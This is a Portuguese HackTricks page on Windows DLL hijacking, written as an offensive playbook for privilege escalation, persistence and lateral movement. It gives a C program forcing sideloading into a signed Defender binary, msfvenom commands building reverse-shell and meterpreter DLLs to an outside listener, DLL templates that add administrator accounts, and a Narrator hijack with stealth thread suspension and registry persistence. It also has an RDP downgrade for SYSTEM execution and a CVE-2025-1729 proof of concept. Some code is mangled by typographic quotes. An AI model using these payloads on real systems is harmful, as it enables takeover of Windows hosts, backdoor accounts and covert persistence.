Dll Hijacking

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Confira os planos de assinatura!

Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.

Informações Básicas

DLL Hijacking envolve manipular uma aplicação confiável para carregar uma DLL maliciosa. Este termo engloba várias táticas como DLL Spoofing, Injection, and Side-Loading. É utilizado principalmente para execução de código, obtenção de persistência e, menos comumente, escalonamento de privilégios. Apesar do foco em escalonamento aqui, o método de hijacking é consistente entre os diferentes objetivos.

Técnicas Comuns

Vários métodos são empregados para DLL hijacking, cada um com sua eficácia dependendo da estratégia de carregamento de DLLs da aplicação:

DLL Replacement: Trocar uma DLL genuína por uma maliciosa, opcionalmente usando DLL Proxying para preservar a funcionalidade da DLL original.
DLL Search Order Hijacking: Colocar a DLL maliciosa em um caminho de busca antes do legítimo, explorando o padrão de busca da aplicação.
Phantom DLL Hijacking: Criar uma DLL maliciosa que a aplicação vai carregar, acreditando que se trata de uma DLL requerida inexistente.
DLL Redirection: Modificar parâmetros de busca como %PATH% ou arquivos .exe.manifest / .exe.local para direcionar a aplicação para a DLL maliciosa.
WinSxS DLL Replacement: Substituir a DLL legítima por uma maliciosa no diretório WinSxS, método frequentemente associado com DLL side-loading.
Relative Path DLL Hijacking: Colocar a DLL maliciosa em um diretório controlado pelo usuário junto com a aplicação copiada, assemelhando-se a técnicas de Binary Proxy Execution.

Encontrando DLLs faltantes

A maneira mais comum de encontrar DLLs faltantes dentro de um sistema é executar procmon do sysinternals, configurando os seguintes 2 filtros:

e apenas mostrar a File System Activity:

Se você está procurando por missing dlls in general você deve deixar isso rodando por alguns segundos.
Se você está procurando por uma missing dll inside an specific executable você deve configurar outro filtro como “Process Name” “contains” <exec name>, executá-lo, e parar a captura de eventos.

Exploiting Missing Dlls

Para escalar privilégios, a melhor chance que temos é conseguir escrever uma DLL que um processo privilegiado tente carregar em algum dos lugares onde ela será procurada. Portanto, poderemos gravar uma DLL em uma pasta onde a DLL é procurada antes da pasta onde a DLL original está (caso estranho), ou conseguiremos gravar em alguma pasta onde a DLL será procurada e a DLL original não existe em nenhuma pasta.

Dll Search Order

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

As aplicações Windows procuram DLLs seguindo um conjunto de caminhos de busca predefinidos, obedecendo a uma sequência particular. O problema de DLL hijacking surge quando uma DLL maliciosa é estrategicamente colocada em um desses diretórios, garantindo que ela seja carregada antes da DLL autêntica. Uma solução para prevenir isso é garantir que a aplicação utilize caminhos absolutos ao referenciar as DLLs que necessita.

Você pode ver a DLL search order on 32-bit systems abaixo:

The directory from which the application loaded.
The system directory. Use the GetSystemDirectory function to get the path of this directory.(C:\Windows\System32)
The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (C:\Windows\System)
The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
(C:\Windows)
The current directory.
The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

Essa é a ordem de busca padrão com SafeDllSearchMode habilitado. Quando está desabilitado, o diretório atual sobe para a segunda posição. Para desabilitar essa funcionalidade, crie o valor de registro HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode e defina-o como 0 (o padrão é habilitado).

Se a função LoadLibraryEx for chamada com LOAD_WITH_ALTERED_SEARCH_PATH, a busca começa no diretório do módulo executável que LoadLibraryEx está carregando.

Finalmente, observe que uma DLL pode ser carregada indicando o caminho absoluto em vez apenas do nome. Nesse caso essa DLL será procurada apenas nesse caminho (se a DLL tiver dependências, elas serão procuradas como se tivessem sido carregadas apenas pelo nome).

Existem outras maneiras de alterar a ordem de busca, mas não vou explicá-las aqui.

Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

Uma forma avançada de influenciar determinisiticamente o caminho de busca de DLL de um processo recém-criado é definir o campo DllPath em RTL_USER_PROCESS_PARAMETERS ao criar o processo com as APIs nativas do ntdll. Ao fornecer um diretório controlado pelo atacante aqui, um processo alvo que resolva uma DLL importada pelo nome (sem caminho absoluto e não usando as flags de carregamento seguro) pode ser forçado a carregar uma DLL maliciosa desse diretório.

Ideia principal

Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.

Notas/limitações

Isso afeta o processo filho que está sendo criado; é diferente de SetDllDirectory, que afeta apenas o processo atual.
O alvo deve importar ou chamar LoadLibrary por uma DLL pelo nome (sem caminho absoluto e não usando LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
KnownDLLs e caminhos absolutos hardcoded não podem ser hijacked. Forwarded exports e SxS podem alterar a precedência.

Exemplo mínimo em C (ntdll, wide strings, tratamento de erro simplificado):

Full C example: forcing DLL sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

```c #include #include #pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs) typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)( PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, PUNICODE_STRING ImagePathName, PUNICODE_STRING DllPath, PUNICODE_STRING CurrentDirectory, PUNICODE_STRING CommandLine, PVOID Environment, PUNICODE_STRING WindowTitle, PUNICODE_STRING DesktopInfo, PUNICODE_STRING ShellInfo, PUNICODE_STRING RuntimeData, ULONG Flags );

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)( PUNICODE_STRING NtImagePathName, ULONG Attributes, PRTL_USER_PROCESS_PARAMETERS ProcessParameters, PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, HANDLE ParentProcess, BOOLEAN InheritHandles, HANDLE DebugPort, HANDLE ExceptionPort, PRTL_USER_PROCESS_INFORMATION ProcessInformation );

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) { DWORD n = GetModuleFileNameW(h, out, cch); for (DWORD i=n; i>0; –i) if (out[i-1] == L’\’) { out[i-1] = 0; break; } }

int wmain(void) { // Target Microsoft-signed, DLL-hijackable binary (example) const wchar_t *image = L“\??\C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe“;

// Build custom DllPath = directory of our current module (e.g., the unpacked archive) wchar_t dllDir[MAX_PATH]; DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

UNICODE_STRING uImage, uCmd, uDllPath, uCurDir; RtlInitUnicodeString(&uImage, image); RtlInitUnicodeString(&uCmd, L“"C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe"“); RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory RtlInitUnicodeString(&uCurDir, dllDir);

RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx = (RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateProcessParametersEx”); RtlCreateUserProcess_t pRtlCreateUserProcess = (RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L“ntdll.dll“), “RtlCreateUserProcess”);

RTL_USER_PROCESS_PARAMETERS *pp = NULL; NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd, NULL, NULL, NULL, NULL, NULL, 0); if (st < 0) return 1;

RTL_USER_PROCESS_INFORMATION pi = {0}; st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi); if (st < 0) return 1;

// Resume main thread etc. if created suspended (not shown here) return 0; }

</details>

Exemplo de uso operacional
- Coloque um xmllite.dll malicioso (exportando as funções requeridas ou fazendo proxy para o real) no seu diretório DllPath.
- Execute um binário assinado conhecido por procurar xmllite.dll pelo nome usando a técnica acima. O loader resolve a importação via o DllPath fornecido e sideloads seu DLL.

Essa técnica tem sido observada in-the-wild para conduzir cadeias de sideloading em múltiplas etapas: um launcher inicial dropa um DLL auxiliar, que então instancia um binário Microsoft-signed, hijackable, com um DllPath customizado para forçar o carregamento do DLL do atacante a partir de um diretório de staging.


#### Exceções na ordem de busca de DLL na documentação do Windows

Certas exceções à ordem padrão de busca de DLL são apontadas na documentação do Windows:

- Quando um **DLL que compartilha seu nome com outro já carregado na memória** é encontrado, o sistema contorna a busca usual. Em vez disso, ele realiza uma verificação por redirecionamento e um manifest antes de usar por padrão o DLL já presente na memória. **Nesse cenário, o sistema não realiza uma busca pelo DLL**.
- Nos casos em que o DLL é reconhecido como um **known DLL** para a versão atual do Windows, o sistema utilizará sua versão do known DLL, juntamente com qualquer um dos seus DLLs dependentes, **abdicando do processo de busca**. A chave de registro **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contém uma lista desses known DLLs.
- Caso um **DLL tenha dependências**, a busca por esses DLLs dependentes é conduzida como se eles fossem indicados apenas pelos seus **module names**, independentemente de o DLL inicial ter sido identificado por um caminho completo.

### Escalando Privilégios

**Requisitos**:

- Identificar um processo que opera ou irá operar sob **privilégios diferentes** (movimentação horizontal ou lateral), que esteja **sem um DLL**.
- Garantir que exista **acesso de escrita** para qualquer **diretório** no qual o **DLL** será **procurado**. Esse local pode ser o diretório do executável ou um diretório dentro do system path.

Sim, os requisitos são complicados de encontrar pois **por padrão é meio estranho achar um executável privilegiado sem um dll** e é ainda **mais estranho ter permissões de escrita em uma pasta do system path** (você não tem por padrão). Mas, em ambientes mal configurados isso é possível.\
Caso tenha sorte e encontre os requisitos, você pode checar o projeto [UACME](https://github.com/hfiref0x/UACME). Mesmo que o **objetivo principal do projeto é bypass UAC**, você pode encontrar lá um **PoC** de um Dll hijaking para a versão do Windows que pode usar (provavelmente apenas mudando o caminho da pasta onde você tem permissões de escrita).

Note que você pode **checar suas permissões em uma pasta** fazendo:
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

E verifique as permissões de todas as pastas no PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Você também pode verificar os imports de um executável e os exports de uma dll com:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Para um guia completo sobre como abusar Dll Hijacking para escalar privilégios com permissões para escrever em uma System Path folder confira:

Writable Sys Path +Dll Hijacking Privesc

Ferramentas automatizadas

Winpeas verificará se você tem permissões de escrita em qualquer pasta dentro do system PATH.
Outras ferramentas automatizadas interessantes para descobrir essa vulnerabilidade são as funções do PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack e Write-HijackDll.

Exemplo

Caso você encontre um cenário explorável, uma das coisas mais importantes para explorá-lo com sucesso é criar uma dll que exporte pelo menos todas as funções que o executável irá importar dela. De qualquer forma, observe que Dll Hijacking é útil para escalar de Medium Integrity level para High (bypassing UAC) ou de High Integrity to SYSTEM. Você pode encontrar um exemplo de como criar uma dll válida dentro deste estudo sobre dll hijacking focado em dll hijacking para execução: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Além disso, na próxima seção você pode encontrar alguns códigos dll básicos que podem ser úteis como modelos ou para criar uma dll com funções não requeridas exportadas.

Criando e compilando Dlls

Dll Proxifying

Basicamente um Dll proxy é uma Dll capaz de executar seu código malicioso quando carregada mas também de expor e funcionar como o esperado ao encaminhar todas as chamadas para a biblioteca real.

Com a ferramenta DLLirant ou Spartacus você pode realmente indicar um executável e selecionar a biblioteca que deseja proxificar e gerar uma dll proxificada ou indicar a Dll e gerar uma dll proxificada.

Meterpreter

Get rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Obter um meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Criar um usuário (x86 — não vi uma versão x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Seu próprio

Observe que, em vários casos, a Dll que você compilar deve exportar várias funções que serão carregadas pelo victim process; se essas funções não existirem, o binary não conseguirá carregá‑las e o exploit irá falhar.

C DLL template (Win10)

```c // Tested in Win10 // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("whoami > C:\\users\\username\\whoami.txt"); WinExec("calc.exe", 0); //This doesn't accept redirections like system break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ``` ```c // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h> BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ if (dwReason == DLL_PROCESS_ATTACH){ system(“cmd.exe /k net localgroup administrators user /add”); ExitProcess(0); } return TRUE; }

<details>
<summary>C++ DLL example com criação de usuário</summary>
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}

DLL C alternativa com entrada de thread

```c //Another possible DLL // i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(“cmd”); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## Estudo de Caso: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

O Windows Narrator.exe ainda verifica, ao iniciar, uma DLL de localização previsível específica por idioma que pode ser hijacked para execução arbitrária de código e persistência.

Principais fatos
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- Se uma DLL controlada pelo atacante e gravável existir no caminho OneCore, ela será carregada e `DllMain(DLL_PROCESS_ATTACH)` será executado. Nenhuma exportação é necessária.

Descoberta com Procmon
- Filtro: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Inicie o Narrator e observe a tentativa de carregamento do caminho acima.

DLL mínima
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

Silêncio OPSEC

Um hijack ingênuo vai falar/destacar a UI. Para permanecer silencioso, ao attach enumerar Narrator threads, abrir a main thread (OpenThread(THREAD_SUSPEND_RESUME)) e SuspendThread nela; continuar na sua própria thread. Veja PoC para o código completo.

Trigger and persistence via Accessibility configuration

User context (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
Com o acima, iniciar Narrator carrega a DLL plantada. No secure desktop (tela de logon), pressione CTRL+WIN+ENTER para iniciar Narrator.

RDP-triggered SYSTEM execution (lateral movement)

Allow classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
RDP para o host, na tela de logon pressione CTRL+WIN+ENTER para lançar Narrator; sua DLL executa como SYSTEM no secure desktop.
A execução para quando a sessão RDP fecha — injete/migre prontamente.

Bring Your Own Accessibility (BYOA)

Você pode clonar uma entrada de registro de um Accessibility Tool (AT) embutido (ex.: CursorIndicator), editá-la para apontar para um binary/DLL arbitrário, importá-la, então definir configuration para esse nome de AT. Isso proxyuja execução arbitrária sob o framework Accessibility.

Notas

Gravar em %windir%\System32 e alterar valores HKLM requer privilégios de administrador.
Toda a lógica do payload pode viver em DLL_PROCESS_ATTACH; não são necessários exports.

Case Study: CVE-2025-1729 - Escalada de Privilégios Using TPQMAssistant.exe

Este caso demonstra Phantom DLL Hijacking no TrackPoint Quick Menu da Lenovo (TPQMAssistant.exe), rastreado como CVE-2025-1729.

Vulnerability Details

Component: TPQMAssistant.exe localizado em C:\ProgramData\Lenovo\TPQM\Assistant\.
Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask é executada diariamente às 9:30 AM no contexto do usuário logado.
Directory Permissions: Gravável por CREATOR OWNER, permitindo que usuários locais depositem arquivos arbitrários.
DLL Search Behavior: Tenta carregar hostfxr.dll do seu diretório de trabalho primeiro e registra “NAME NOT FOUND” se ausente, indicando precedência de busca no diretório local.

Exploit Implementation

Um atacante pode colocar um stub malicioso hostfxr.dll no mesmo diretório, explorando a DLL ausente para obter execução de código no contexto do usuário:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

Fluxo do Ataque

Como usuário padrão, coloque hostfxr.dll em C:\ProgramData\Lenovo\TPQM\Assistant\.
Aguarde a tarefa agendada rodar às 9:30 sob o contexto do usuário atual.
Se um administrador estiver logado quando a tarefa for executada, a DLL maliciosa roda na sessão do administrador com integridade média.
Encadear técnicas padrão de UAC bypass para elevar de integridade média para privilégios SYSTEM.

Estudo de Caso: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)

Atores de ameaça frequentemente combinam MSI-based droppers com DLL side-loading para executar payloads sob um processo confiável e assinado.

Chain overview

Usuário baixa o MSI. Uma CustomAction é executada silenciosamente durante a instalação GUI (por exemplo, LaunchApplication ou uma ação VBScript), reconstruindo a próxima etapa a partir de recursos embutidos.
O dropper escreve um EXE legítimo e assinado e uma DLL maliciosa no mesmo diretório (exemplo: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
Quando o EXE assinado é iniciado, a ordem de busca de DLL do Windows carrega wsc.dll do diretório de trabalho primeiro, executando o código do atacante sob um processo pai assinado (ATT&CK T1574.001).

MSI analysis (what to look for)

CustomAction table:
Procure por entradas que executem executáveis ou VBScript. Padrão suspeito exemplo: LaunchApplication executando um arquivo embutido em segundo plano.
No Orca (Microsoft Orca.exe), inspecione as tabelas CustomAction, InstallExecuteSequence e Binary.
Payloads embutidos/divididos no CAB do MSI:
Extração administrativa: msiexec /a package.msi /qb TARGETDIR=C:\out
Ou use lessmsi: lessmsi x package.msi C:\out
Procure por múltiplos pequenos fragmentos que são concatenados e descriptografados por uma CustomAction VBScript. Fluxo comum:

' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

Sideloading prático com wsc_proxy.exe

Coloque esses dois arquivos na mesma pasta:
wsc_proxy.exe: host legítimo assinado (Avast). O processo tenta carregar wsc.dll pelo nome a partir de seu diretório.
wsc.dll: DLL do atacante. Se nenhum export específico for necessário, DllMain pode ser suficiente; caso contrário, construa uma proxy DLL e encaminhe os exports necessários para a biblioteca genuína enquanto executa o payload em DllMain.
Construa um DLL payload mínimo:

// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}

Para requisitos de export, use um framework de proxy (por exemplo, DLLirant/Spartacus) para gerar uma DLL de forwarding que também execute seu payload.
Esta técnica depende da resolução de nomes de DLL pelo binário host. Se o host usar caminhos absolutos ou flags de carregamento seguro (por exemplo, LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), o hijack pode falhar.
KnownDLLs, SxS e forwarded exports podem influenciar a precedência e devem ser considerados ao selecionar o binário host e o conjunto de exports.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Confira os planos de assinatura!

Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.

Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.